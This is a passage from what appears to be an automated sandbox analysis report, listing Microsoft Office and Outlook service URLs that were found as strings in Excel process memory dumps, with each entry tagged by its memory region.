    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: https://dataservice.o365filtering.com/D
    Source: EXCEL.EXE, 00000000.00000003.422213664.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537234270.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551900570.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696077720.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553063045.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593496729.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500232744.0000000013881000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: https://dataservice.o365filtering.com7
    Source: EXCEL.EXE, 00000000.00000003.536814047.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593264274.0000000013752000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678663664.0000000013770000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500314408.0000000013778000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423823044.0000000013778000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695641338.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551049884.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593624370.0000000013770000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422394630.0000000013775000.00000004.00000001.sdmpString found in binary or memory: https://dataservice.o365filtering.comT
    Source: EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
    Source: EXCEL.EXE, 00000000.00000003.422213664.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537234270.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551900570.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696077720.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553063045.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593496729.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500232744.0000000013881000.00000004.00000001.sdmpString found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFilew
    Source: EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
    Source: EXCEL.EXE, 00000000.00000003.499403572.0000000013647000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422621252.0000000013649000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678575616.000000001365A000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594060910.0000000013647000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695430000.0000000013661000.00000004.00000001.sdmpString found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPoliciescF
    Source: AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://dev.cortana.ai
    Source: EXCEL.EXE, 00000000.00000003.536713602.00000000136BD000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678600620.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550909072.00000000136BD000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499446246.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695468754.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422673092.00000000136A6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594096039.000000001367C000.00000004.00000001.sdmpString found in binary or memory: https://dev.cortana.ai_
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423637060.0000000016319000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
    Source: EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://dev0-api.acompli.net/autodetect
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: https://dev0-api.acompli.net/autodetectL
    Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.500207188.0000000013865000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537421141.0000000013864000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537210186.000000001385B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553019049.0000000013864000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551397263.000000001385B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552313973.0000000013864000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593608928.0000000013864000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://devnull.onenote.com
    Source: EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmpString found in binary or memory: https://devnull.onenote.coms
    Source: EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmpString found in binary or memory: https://devnull.onenote.comx
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423637060.0000000016319000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://directory.services.
    Source: EXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmpString found in binary or memory: https://displaycatalog.mp.microsoft.cQ
    Source: EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmpString found in binary or memory: https://displaycatalog.mp.microsoft.cS
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://ecs.office.com/config/v2/Office
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://enrichment.osi.office.net/
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: https://enrichment.osi.office.net/1
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
    Source: EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1q
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
    Source: EXCEL.EXE, 00000000.00000003.422213664.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537234270.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551900570.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696077720.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553063045.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593496729.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500232744.0000000013881000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
    Source: EXCEL.EXE, 00000000.00000003.422213664.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537234270.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551900570.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696077720.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553063045.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593496729.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500232744.0000000013881000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
    Source: EXCEL.EXE, 00000000.00000003.422213664.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537234270.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551900570.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696077720.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553063045.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593496729.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500232744.0000000013881000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
    Source: EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://entitlement.diagnostics.office.com
    Source: EXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500157918.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553288009.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552058000.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696221387.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593583876.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552494065.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537158640.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537329045.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551704372.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678253988.0000000013906000.00000004.00000001.sdmpString found in binary or memory: https://entitlement.diagnostics.office.comg
    Source: EXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500157918.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553288009.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552058000.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696221387.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593583876.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552494065.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537158640.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537329045.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551704372.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678253988.0000000013906000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: 